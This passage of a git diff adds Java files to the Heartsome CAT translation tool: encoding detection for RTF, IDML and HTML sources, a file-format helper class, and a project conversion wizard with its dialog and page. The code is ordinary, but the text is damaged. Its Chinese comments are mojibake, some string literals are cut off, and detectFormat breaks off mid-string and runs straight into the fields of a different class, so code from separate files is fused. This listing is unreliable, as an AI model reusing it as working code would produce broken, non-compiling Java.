e.printStackTrace(print); + writer.close(); + print.close(); + writer = null; + print = null; + } catch (IOException e2) { + // do nothing + } //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + } + String[] encodings = TextUtil.getPageCodes(); + for (int i = 0; i < encodings.length; i++) { + if (encodings[i].equalsIgnoreCase(result)) { + return encodings[i]; + } + } + return result; + } + + private static String getRTFEncoding(String fileName) { + try { + FileInputStream input = new FileInputStream(fileName); + // read 200 bytes + int read = 200; + if (input.available() < read) { + read = input.available(); + } + byte[] bytes = new byte[read]; + input.read(bytes); + input.close(); + String content = new String(bytes); + + StringTokenizer tk = new StringTokenizer(content, "\\", true); //$NON-NLS-1$ + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + token = token + tk.nextToken(); + } + if (token.startsWith("\\ansicpg")) { //$NON-NLS-1$ + String javaEnc = RTF2JavaEncoding(token.substring(8).trim()); + System.out.println("Encoding: " + javaEnc); //$NON-NLS-1$ + return javaEnc; + } + } + } catch (Exception e) { + LOGGER.error("", e); + if (Constant.RUNNING_MODE == Constant.MODE_DEBUG) { + e.printStackTrace(); + } + + try { + File log = File.createTempFile("error", ".log", new File("logs")); + FileWriter writer = new FileWriter(log); + PrintWriter print = new PrintWriter(writer); + e.printStackTrace(print); + writer.close(); + print.close(); + writer = null; + print = null; + } catch (IOException e2) { + // do nothing + } //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + return null; + } + // Encoding not declared. Assume OpenOffice and return its XML encoding + return "UTF-8"; //$NON-NLS-1$ + } + + private static String RTF2JavaEncoding(String encoding) { + String[] codes = TextUtil.getPageCodes(); + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("windows-" + encoding) != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + if (encoding.equals("10000")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macroman") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10006")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macgreek") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10007")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maccyrillic") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10029")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maccentraleurope") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10079")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("maciceland") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("10081")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("macturkish") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("65000")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("utf-7") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("650001")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("utf-8") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("932")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("shift_jis") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("936")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("gbk") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("949")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("euc-kr") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("950")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("big5") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + if (encoding.equals("1361")) { //$NON-NLS-1$ + for (int h = 0; h < codes.length; h++) { + if (codes[h].toLowerCase().indexOf("johab") != -1) { //$NON-NLS-1$ + return codes[h]; + } + } + } + return null; + } + + private static String getIDMLEncoding(String fileName) { + String encoding = "UTF-8"; + try { + ZipInputStream in = new ZipInputStream(new FileInputStream(fileName)); + ZipEntry entry = null; + while ((entry = in.getNextEntry()) != null) { + if (entry.getName().equals("designmap.xml")) { + byte[] array = new byte[1024]; + in.read(array); + String strTmp = new String(array); + int index = strTmp.indexOf("", index); + strTmp = strTmp.substring(index, endIndex); + for (String str : strTmp.split(" ")) { + if (str.startsWith("encoding")) { + if (str.indexOf("\"") != -1) { + encoding = str.substring(str.indexOf("\"") + 1, str.lastIndexOf("\"")); + } else if (str.indexOf("'") != -1) { + encoding = str.substring(str.indexOf("'") + 1, str.lastIndexOf("'")); + } + break; + } + } + } + in.close(); + break; + } + } + } catch (FileNotFoundException e) { + LOGGER.error("", e); + e.printStackTrace(); + } catch (IOException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + return encoding; + } + + private static String getHTMLEncoding(String fileName) { + // return UTF-8 as default + String result = "UTF-8"; //$NON-NLS-1$ + try { + FileReader input = new FileReader(fileName); + BufferedReader buffer = new BufferedReader(input); + String line; + Pattern pattern = Pattern.compile("[a-zA-Z-_\\d]+"); + while ((line = buffer.readLine()) != null) { + int index = line.indexOf("charset="); + if (index != -1) { + Matcher matcher = pattern.matcher(line.substring(index + "charset=".length())); + if (matcher.find()) { + result = matcher.group(); + break; + } + } + } + input.close(); + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + String[] encodings = TextUtil.getPageCodes(); + for (int i = 0; i < encodings.length; i++) { + if (encodings[i].equalsIgnoreCase(result)) { + return encodings[i]; + } + } + // 如果ä¸æ˜¯æœ‰æ•ˆçš„ç¼–ç å°±è¿”回 UTF-8 + return "UTF-8"; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/FileFormatUtils.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/FileFormatUtils.java new file mode 100644 index 0000000..7e77de8 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/FileFormatUtils.java @@ -0,0 +1,362 @@ +package net.heartsome.cat.convert.ui.utils; + +import java.io.File; +import java.io.FileInputStream; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; + +import net.heartsome.cat.common.core.IPreferenceConstants; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterBean; + +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.preferences.IPreferencesService; + +/** + * 文件格å¼ç›¸å…³è¾…助类。
    + * 由于 R8 中采用 OSGI æœåŠ¡çš„æ–¹å¼å°†è½¬æ¢å™¨åˆ†å‰²æˆå•ä¸ªæ’件,因而增加了此类æ¥å–代 R7 中的 FileFormats.java。
    + * 用以在注册的转æ¢å™¨æœåŠ¡ä¸­èŽ·å–转æ¢å™¨æ”¯æŒçš„文件类型åã€æ–‡ä»¶æ‹“展å等等。 + * @author weachy + * @version + * @since JDK1.5 + */ +public class FileFormatUtils { + + private static ConverterBean allFileBean = new ConverterBean("All", "All", new String[] { "*.*" }); + + private static final ConverterViewModel MODEL = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_POSITIVE); + + /** + * 得到支æŒçš„类型 + * @return ; + */ + public static List getSupportTypes() { + return MODEL.getSupportTypes(); + } + + /** + * 得到转æ¢å™¨æ”¯æŒçš„所有文件类型的拓展å + * @return ; + */ + public static String[] getExtensions() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + ArrayList FileFormats = new ArrayList(); + for (ConverterBean bean : list) { + String[] extensions = bean.getExtensions(); + for (String extension : extensions) { + FileFormats.add(extension); + } + } + return FileFormats.toArray(new String[] {}); + } + + /** + * å¾—åˆ°æ‰€æœ‰æ–‡ä»¶æ ¼å¼ + * @return ; + */ + public static String[] getFileFormats() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + String[] FileFormats = new String[list.size()]; + for (int i = 0; i < list.size(); i++) { + FileFormats[i] = list.get(i).getDescription(); + } + Arrays.sort(FileFormats); + return FileFormats; + } + + /** + * 得到所有文件过滤拓展å。 + * @return ; + */ + public static String[] getFilterExtensions() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + list.add(0, allFileBean); + String[] FilterExtensions = new String[list.size()]; + for (int i = 0; i < list.size(); i++) { + FilterExtensions[i] = list.get(i).getFilterExtensions(); + } + return FilterExtensions; + } + + /** + * 得到所有文件过滤æ¡ä»¶å。 + * @return ; + */ + public static String[] getFilterNames() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + list.add(0, allFileBean); + String[] filterNames = new String[list.size()]; + for (int i = 0; i < list.size(); i++) { + filterNames[i] = list.get(i).getFilterNames(); + } + return filterNames; + } + + /** + * 检查是å¦å¯ç”¨ Open Office + */ + private static void checkAutomaticOO(List list) { + IPreferencesService service = Platform.getPreferencesService(); + String qualifier = Activator.getDefault().getBundle().getSymbolicName(); + boolean automaticOO = service.getBoolean(qualifier, IPreferenceConstants.AUTOMATIC_OO, false, null); + if (!automaticOO) { + list.remove(new ConverterBean("MS Office Document to XLIFF Conveter", null)); + } + } + + public final static String INX = Messages.getString("utils.FileFormatUtils.INX"); + public final static String HTML = Messages.getString("utils.FileFormatUtils.HTML"); + /** JavaScript 脚本 (JS) */ + public final static String JS = Messages.getString("utils.FileFormatUtils.JS"); + /** Java 资æºæ–‡ä»¶ (PROPERTIES) */ + public final static String JAVA = Messages.getString("utils.FileFormatUtils.JAVA"); + public final static String MIF = Messages.getString("utils.FileFormatUtils.MIF"); + public final static String OFF = Messages.getString("utils.FileFormatUtils.OFF"); + public final static String OO = Messages.getString("utils.FileFormatUtils.OO"); + public final static String TEXT = Messages.getString("utils.FileFormatUtils.TEXT"); + /** GNU gettext å¯ç§»æ¤å¯¹è±¡ (PO) */ + public final static String PO = Messages.getString("utils.FileFormatUtils.PO"); + /** Windows C/C++ 资æºæ–‡ä»¶ (RC) */ + public final static String RC = Messages.getString("utils.FileFormatUtils.RC"); + public final static String RESX = Messages.getString("utils.FileFormatUtils.RESX"); + public final static String RTF = Messages.getString("utils.FileFormatUtils.RTF"); + public final static String TRTF = Messages.getString("utils.FileFormatUtils.TRTF"); + /** SDL TRADOStag åŒè¯­æ–‡ä»¶ (TTX) */ + public final static String TTX = Messages.getString("utils.FileFormatUtils.TTX"); + public final static String XML = Messages.getString("utils.FileFormatUtils.XML"); +// public final static String XMLG = Messages.getString("utils.FileFormatUtils.XMLG"); + public final static String MS = Messages.getString("utils.FileFormatUtils.MS"); + /** trados 2009çš„æ–‡ä»¶æ ¼å¼ */ + public final static String SDL = Messages.getString("utils.FileFormatUtils.SDL"); + /** dejavu X2çš„æ–‡ä»¶æ ¼å¼ */ + public final static String DU = Messages.getString("utils.FileFormatUtils.DU"); + + public final static String IDML = Messages.getString("utils.FileFormatUtils.IDML"); + /** memoQ 6.0 çš„æ–‡ä»¶æ ¼å¼ */ + public final static String MQ = Messages.getString("utils.FileFormatUtils.MQ"); + public final static String PPTX = Messages.getString("utils.FileFormatUtils.PPTX"); + public final static String MSEXCEl2007 = Messages.getString("utils.FileFormatUtils.MSEXCEL"); + public final static String MSWORD2007 = Messages.getString("utils.FileFormatUtils.MSWORD2007"); + /** wordFast 3 的转æ¢å™¨ */ + public final static String WF = Messages.getString("utils.FileFormatUtils.WF"); + + public static boolean canEmbedSkl(String fileFormat) { +// return !(fileFormat.equals(TRTF) || fileFormat.equals(MS) || fileFormat.equals(OFF) || fileFormat.equals(OO) +// || fileFormat.equals(IDML) || fileFormat.equals(PPTX)|| fileFormat.equals(MSEXCEl2007) || fileFormat.equals(MSWORD2007)); + return false; // 所有文件都ä¸åµŒå…¥éª¨æž¶ + } + + public static String detectFormat(String fileName) { + + /** + * 备注,新添加的转æ¢å™¨çš„åŽç¼€å,必须添加到 NewProjectWizardSourceFilePage 中的 "CONVERTEREXTENTION" 处 + * robert 2013-04-09 + */ + File file = new File(fileName); + if (!file.exists()) { + return null; + } + try { + FileInputStream input = new FileInputStream(file); + byte[] array = new byte[40960]; + input.read(array); + input.close(); + String string = ""; //$NON-NLS-1$ + byte[] feff = { -1, -2 }; + byte[] fffe = { -2, -1 }; + byte[] efbbbf = {-17,-69,-65}; // utf-8 bom + // there may be a BOM, now check the order + if (array[0] == fffe[0] && array[1] == fffe[1]) { + string = new String(array, 2 ,array.length - 2, "UTF-16BE"); //remove bom info + } else if (array[0] == feff[0] && array[1] == feff[1]) { + string = new String(array, 2 ,array.length - 2, "UTF-16LE"); //remove bom info + } else if(array[0] == efbbbf[0] && array[1] == efbbbf[1] && array[2] == efbbbf[2]){ + string = new String(array, 3, array.length - 3, "UTF-8"); + }else { + string = new String(array); + } + if (string.startsWith(" converterViewModels; + + private ArrayList conversionConfigBeans; + + private ConversionWizardPage page; + + private IProject currentProject; + /** + * æ­£å‘转æ¢å‘导构造函数 + * @param model + */ + public ConversionWizard(List models, IProject project) { + this.converterViewModels = models; + this.currentProject = project; + + ProjectConfiger configer = ProjectConfigerFactory.getProjectConfiger(project); + Language sourceLanguage = configer.getCurrentProjectConfig().getSourceLang(); + List targetlanguage = configer.getCurrentProjectConfig().getTargetLang(); + Collections.sort(targetlanguage, new Comparator() { + public int compare(Language l1, Language l2) { + return l1.toString().compareTo(l2.toString()); + } + }); + + conversionConfigBeans = new ArrayList(); + for (ConverterViewModel converterViewModel : converterViewModels) { + IConversionItem conversionItem = converterViewModel.getConversionItem(); + String source = ResourceUtils.toWorkspacePath(conversionItem.getLocation()); + + ConversionConfigBean bean = converterViewModel.getConfigBean(); + bean.setSource(source); // åˆå§‹åŒ–æºæ–‡ä»¶è·¯å¾„ + bean.setSrcLang(sourceLanguage.getCode()); // åˆå§‹åŒ–æºè¯­è¨€ + bean.setTgtLangList(targetlanguage); + if(targetlanguage != null && targetlanguage.size() > 0){ + List lang = new ArrayList(); + lang.add(targetlanguage.get(0)); + bean.setHasSelTgtLangList(lang); + } + conversionConfigBeans.add(bean); + } + + setWindowTitle(Messages.getString("wizard.ConversionWizard.title")); //$NON-NLS-1$ + } + + @Override + public void addPages() { + String title = Messages.getString("wizard.ConversionWizard.pageName"); //$NON-NLS-1$ + + page = new ConversionWizardPage(title, converterViewModels, conversionConfigBeans, currentProject); + addPage(page); + + // TODO 添加预翻译选项设置 + // addPage(new TranslationWizardPage(Messages.getString("ConversionWizard.2"))); //$NON-NLS-1$ + } + + @Override + public boolean performFinish() { + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + dialogSettings.put(ConversionWizardPage.REPLACE_TARGET, page.isReplaceTarget()); + dialogSettings.put(ConversionWizardPage.OPEN_PRE_TRANS, page.isOpenPreTrans()); + return true; + } + + /** + * 返回此å‘导对应的 view model + * @return ; + */ + public List getConverterViewModels() { + return converterViewModels; + } + + public boolean isOpenPreTranslation(){ + if(page != null){ + return page.isOpenPreTrans(); + } + return false; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardDialog.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardDialog.java new file mode 100644 index 0000000..7b5f698 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardDialog.java @@ -0,0 +1,32 @@ +package net.heartsome.cat.convert.ui.wizard; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.convert.ui.Activator; + +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.wizard.IWizard; +import org.eclipse.jface.wizard.WizardDialog; +import org.eclipse.swt.widgets.Shell; + +/** + * 继承 WizardDialog,并覆盖 getDialogBoundsSettings 方法,以记ä½æ­¤å‘导对è¯æ¡†ä¸Šä¸€æ¬¡æ‰“å¼€æ—¶çš„å¤§å° + * @author cheney + * @since JDK1.6 + */ +public class ConversionWizardDialog extends TSWizardDialog { + + /** + * æ­£å‘转æ¢å‘导对è¯æ¡†æž„造函数 + * @param parentShell + * @param newWizard + */ + public ConversionWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell, newWizard); + } + + @Override + protected IDialogSettings getDialogBoundsSettings() { + return Activator.getDefault().getDialogSettings(); + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardPage.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardPage.java new file mode 100644 index 0000000..3c9e6e2 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/wizard/ConversionWizardPage.java @@ -0,0 +1,743 @@ +package net.heartsome.cat.convert.ui.wizard; + +import java.io.File; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.dialog.FileFolderSelectionDialog; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.dialog.FileDialogFactoryFacade; +import net.heartsome.cat.convert.ui.dialog.IConversionItemDialog; +import net.heartsome.cat.convert.ui.model.ConversionConfigBean; +import net.heartsome.cat.convert.ui.model.ConverterContext; +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.utils.ConversionResource; +import net.heartsome.cat.convert.ui.utils.EncodingResolver; +import net.heartsome.cat.convert.ui.utils.FileFormatUtils; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterBean; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.beans.BeansObservables; +import org.eclipse.core.databinding.observable.list.WritableList; +import org.eclipse.core.databinding.property.value.IValueProperty; +import org.eclipse.core.filesystem.EFS; +import org.eclipse.core.internal.filesystem.local.LocalFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.databinding.swt.SWTObservables; +import org.eclipse.jface.databinding.viewers.ViewerSupport; +import org.eclipse.jface.databinding.wizard.WizardPageSupport; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.IDialogSettings; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerFilter; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 项目正å‘转æ¢é€‰é¡¹é…置页 + * @author weachy + * @since JDK1.5 + */ +@SuppressWarnings("restriction") +public class ConversionWizardPage extends WizardPage { + + private static final Logger LOGGER = LoggerFactory.getLogger(ConversionWizardPage.class); + + public static final String REPLACE_TARGET = "net.heartsome.cat.convert.ui.wizard.ConversionWizardPage.btnReplaceTarget"; + + public static final String OPEN_PRE_TRANS = "net.heartsome.cat.convert.ui.wizard.ConversionWizardPage.btnOpenPreTrans"; + + /** 支æŒçš„类型 */ + private final List supportTypes = FileFormatUtils.getSupportTypes(); + + private List converterViewModels; + + private boolean isOpenPreTrans = false; + + private boolean isReplaceTarget = false; + + /** 支æŒçš„æ ¼å¼åˆ—表 */ + private Combo formatCombo; + + /** æºæ–‡ä»¶ç¼–ç åˆ—表 */ + private Combo srcEncCombo; + + /** 目标语言列表 */ + private TableViewer tgtLangViewer; + + /** 文件列表 */ + private Table filesTable; + + private TableColumn lineNumColumn; + private TableColumn sourceColumn; + private TableColumn formatColumn; + private TableColumn srcEncColumn; + + /** 分段选项 */ + private Text srxFile; + + private ArrayList conversionConfigBeans; + + private TableViewer tableViewer; + + private IProject currentProject; + + private String srcLang; + private List targetlanguage; + + /** + * æ­£å‘项目转æ¢é…置信æ¯é¡µçš„构造函数 + * @param pageName + */ + protected ConversionWizardPage(String pageName, List converterViewModels, + ArrayList conversionConfigBeans, IProject currentProject) { + super(pageName); + this.converterViewModels = converterViewModels; + this.conversionConfigBeans = conversionConfigBeans; + this.currentProject = currentProject; + setTitle(Messages.getString("wizard.ConversionWizardPage.title")); //$NON-NLS-1$ + setDescription(Messages.getString("wizard.ConversionWizardPage.description")); //$NON-NLS-1$ + setImageDescriptor(Activator.getImageDescriptor("images/dialog/source-toxliff-logo.png")); + ConversionConfigBean b = conversionConfigBeans.get(0); + srcLang = b.getSrcLang(); + targetlanguage = b.getTgtLangList(); + } + + public void createControl(Composite parent) { + Composite contents = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(); + contents.setLayout(layout); + contents.setLayoutData(new GridData(GridData.FILL_BOTH)); + + createFilesGroup(contents); // 文件列表区域 + createPropertiesGroup(contents);// æºæ–‡ä»¶å±žæ€§åŒºåŸŸç»„ + createConversionOptionsGroup(contents); // 转æ¢é€‰é¡¹ç»„ + createSegmentationGroup(contents); // 分段规则选择区域组 + + bindValue(); // æ•°æ®ç»‘定 + + loadFiles(); // 加载文件列表 + + filesTable.select(0); // é»˜è®¤é€‰ä¸­ç¬¬ä¸€è¡Œæ•°æ® + filesTable.notifyListeners(SWT.Selection, null); + + Dialog.applyDialogFont(parent); + + setControl(contents); + + srxFile.setText(ConverterContext.defaultSrx); + + validate(); + } + + private void createPropertiesGroup(Composite contents) { + Group langComposite = new Group(contents, SWT.NONE); + langComposite.setText(Messages.getString("wizard.ConversionWizardPage.langComposite")); //$NON-NLS-1$ + langComposite.setLayout(new GridLayout(2, false)); + langComposite.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + Label formatLabel = new Label(langComposite, SWT.NONE); + formatLabel.setText(Messages.getString("wizard.ConversionWizardPage.formatLabel")); //$NON-NLS-1$ + + formatCombo = new Combo(langComposite, SWT.READ_ONLY | SWT.DROP_DOWN); + formatCombo.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + formatCombo.addSelectionListener(new SelectionAdapter() { + + @SuppressWarnings("unchecked") + public void widgetSelected(SelectionEvent arg0) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + bean.setFileType(formatCombo.getText()); + } + + String format = getSelectedFormat(formatCombo.getText()); // 得到选中的文件类型 + int[] indices = filesTable.getSelectionIndices(); + for (int index : indices) { + converterViewModels.get(index).setSelectedType(format); + + String sourcePath = converterViewModels.get(index).getConversionItem().getLocation() + .toOSString(); + String sourceLocalPath = ConverterUtil.toLocalPath(sourcePath); + String srcEncValue = EncodingResolver.getEncoding(sourceLocalPath, formatCombo.getText()); + if (srcEncValue != null) { + conversionConfigBeans.get(index).setSrcEncoding(srcEncValue); + } + } + + validate(); + } + } + }); + + Label srcEncLabel = new Label(langComposite, SWT.NONE); + srcEncLabel.setText(Messages.getString("wizard.ConversionWizardPage.srcEncLabel")); //$NON-NLS-1$ + srcEncCombo = new Combo(langComposite, SWT.DROP_DOWN | SWT.READ_ONLY); + srcEncCombo.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + srcEncCombo.addSelectionListener(new SelectionAdapter() { + @SuppressWarnings("unchecked") + public void widgetSelected(SelectionEvent arg0) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + ConversionConfigBean bean = iter.next(); + bean.setSrcEncoding(srcEncCombo.getText()); + } + + validate(); + } + } + }); + } + + /** + * 转æ¢é€‰é¡¹ç»„ + * @param contents + * ; + */ + private void createConversionOptionsGroup(Composite contents) { + Group options = new Group(contents, SWT.NONE); + options.setText(Messages.getString("wizard.ConversionWizardPage.options")); //$NON-NLS-1$ + options.setLayout(new GridLayout(1, false)); + options.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + /* 如果已ç»å­˜åœ¨ï¼Œæ˜¯å¦è¦æ›¿æ¢ */ + final Button btnReplaceTarget = new Button(options, SWT.CHECK); + btnReplaceTarget.setText(Messages.getString("wizard.ConversionWizardPage.btnReplaceTarget")); //$NON-NLS-1$ + btnReplaceTarget.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnReplaceTarget.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + isReplaceTarget = btnReplaceTarget.getSelection(); + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setReplaceTarget(btnReplaceTarget.getSelection()); + } + + validate(); + } + }); + + final Button btnOpenPreTrans = new Button(options, SWT.CHECK); + btnOpenPreTrans.setText(Messages.getString("wizard.ConversionWizardPage.btnOpenPreTrans")); + btnOpenPreTrans.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnOpenPreTrans.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + isOpenPreTrans = btnOpenPreTrans.getSelection(); + } + }); + + Composite composite = new Composite(options, SWT.NONE); + GridLayout gd = new GridLayout(1, false); + gd.marginWidth = 0; + gd.marginHeight = 0; + composite.setLayout(gd); + composite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + + Label tgtLangLbl = new Label(composite, SWT.NONE); + tgtLangLbl.setText(Messages.getString("wizard.ConversionWizardPage.tgtLangLbl")); + + tgtLangViewer = new TableViewer(composite, SWT.BORDER | SWT.FULL_SELECTION | SWT.MULTI); + Table tgtLangTable = tgtLangViewer.getTable(); + GridData gdTgtLangTable = new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1); + gdTgtLangTable.heightHint = 80; + tgtLangTable.setLayoutData(gdTgtLangTable); + + tgtLangViewer.setLabelProvider(new LanguageLabelProvider()); + tgtLangViewer.setContentProvider(new ArrayContentProvider()); + tgtLangViewer.setInput(conversionConfigBeans.get(0).getTgtLangList()); + tgtLangViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection sel = (IStructuredSelection) event.getSelection(); + @SuppressWarnings("unchecked") + List selectedList = sel.toList(); + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setHasSelTgtLangList(selectedList); + } + + validate(); + } + }); + + tgtLangViewer.getTable().select(0); + + IDialogSettings dialogSettings = Activator.getDefault().getDialogSettings(); + btnReplaceTarget.setSelection(dialogSettings.getBoolean(REPLACE_TARGET)); + btnOpenPreTrans.setSelection(dialogSettings.getBoolean(OPEN_PRE_TRANS)); + this.isOpenPreTrans = btnOpenPreTrans.getSelection(); + isReplaceTarget = btnReplaceTarget.getSelection(); + for (ConversionConfigBean conversionConfigBean : conversionConfigBeans) { + conversionConfigBean.setReplaceTarget(isReplaceTarget); + } + validate(); + } + + /** + * 创建分段规则选择组 + * @param contents + * ; + */ + private void createSegmentationGroup(Composite contents) { + Group segmentation = new Group(contents, SWT.NONE); + segmentation.setText(Messages.getString("wizard.ConversionWizardPage.segmentation")); //$NON-NLS-1$ + segmentation.setLayout(new GridLayout(3, false)); + GridData data = new GridData(GridData.FILL_HORIZONTAL); + data.widthHint = 500; + segmentation.setLayoutData(data); + + Label segLabel = new Label(segmentation, SWT.NONE); + 